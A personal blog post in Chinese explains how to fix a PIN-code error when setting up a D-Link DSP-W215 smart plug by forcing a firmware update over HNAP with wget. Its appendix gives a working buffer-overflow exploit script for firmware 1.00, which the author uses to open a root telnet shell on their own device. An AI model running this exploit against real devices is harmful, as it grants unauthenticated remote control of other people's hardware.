Jamyy's Weblog

解決 D-Link DSP-W215 智慧插座在設定過程中發生 PIN 碼錯誤的問題

by Jamyy on 八月.28, 2016, under Linux

問題:

  1. mydlink Home App 新增設備時, PIN 碼輸入階段總是出現 "PIN 碼錯誤" 而無法完成設定作業
  2. 找到線索: 更新韌體版本應可解決此問題, 但遍尋不著 D-Link DSP-W215 更新韌體的 Web 介面


設備: D-Link DSP-W215, HW Ver: A1, FW Ver: 1.00


Step 1. 讓 D-Link DSP-W215 與家中 Wi-Fi AP 透過 WPS 功能進行連線

Step 2. 連線成功後 D-Link DSP-W215 裝置綠燈恆亮, 確認裝置 IP

Step 3. 假設 D-Link DSP-W215 獲取之 IP Address 為 192.168.1.50, PIN Code (記載於卡片上) 為 123456, 在 Linux 主機進行以下操作

命令設備開始下載新版韌體
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/StartFirmwareDownload"' http://admin:123456@192.168.1.50/HNAP1

查看執行結果
$ cat HNAP1

命令設備開始執行韌體更新作業
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/DoFirmwareUpgrade"' http://admin:123456@192.168.1.50/HNAP1

Step 4. 待設備燈號由紅燈轉成綠燈恆亮時, 即可透過 mydlink Home App 進行後續設定



附錄: D-Link DSP-W215 在 Firmware version 為 1.00 的階段可以這樣玩

以下均為直接連線 DSP-* 訊號的操作示範

啟用 telnetd

$ vi exploit.py

import sys
import urllib2

command = sys.argv[1]

buf = "D" * 1000020
buf += "\x00\x40\x5C\xAC"
buf += "E" * 0x28
buf += command
buf += "\x00"

req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

$ python ./exploit.py 'busybox telnetd -l /bin/sh'
$ telnet 192.168.0.60

不停閃爍的小夜燈

1. 將小夜燈插入 D-Link DSP-W215 插座
2. 依照上述步驟啟用 telnetd
3. telnet 登入 D-Link DSP-W215, 執行無窮迴圈

$ telnet 192.168.0.60
$ while [ 1 ]; do /var/sbin/relay 1; sleep 1; /var/sbin/relay 0; sleep 1; done

手動載入韌體檔案

1. 於官方網站下載韌體檔案, 並將檔案解壓縮到 /tmp
2. 開啟瀏覽器, 連入網址 http://192.168.0.60/login.htm, 密碼就是 PIN 碼, 登入後複製 my_cgi.cgi? 後面的那串數字
3. 開啟 terminal 視窗, 執行以下指令; 問號後面那串數字就是剛剛複製的內容

$ curl -X POST -F 'filename=@/tmp/DSPW215A1_FW102b05.bin' http://192.168.0.60/firmware_cgi.cgi?0.6119953391767108

4. telnet 進入 D-Link DSP-W215, 查看 /tmp 路徑下是否出現 root_uImage 檔案, 若有則成功

註: 若 Wi-Fi AP 無 WPS 功能, 可利用此方式手動匯入 firmware 再進行 SOAPAction: DoFirmwareUpgrade



Ref:



:, ,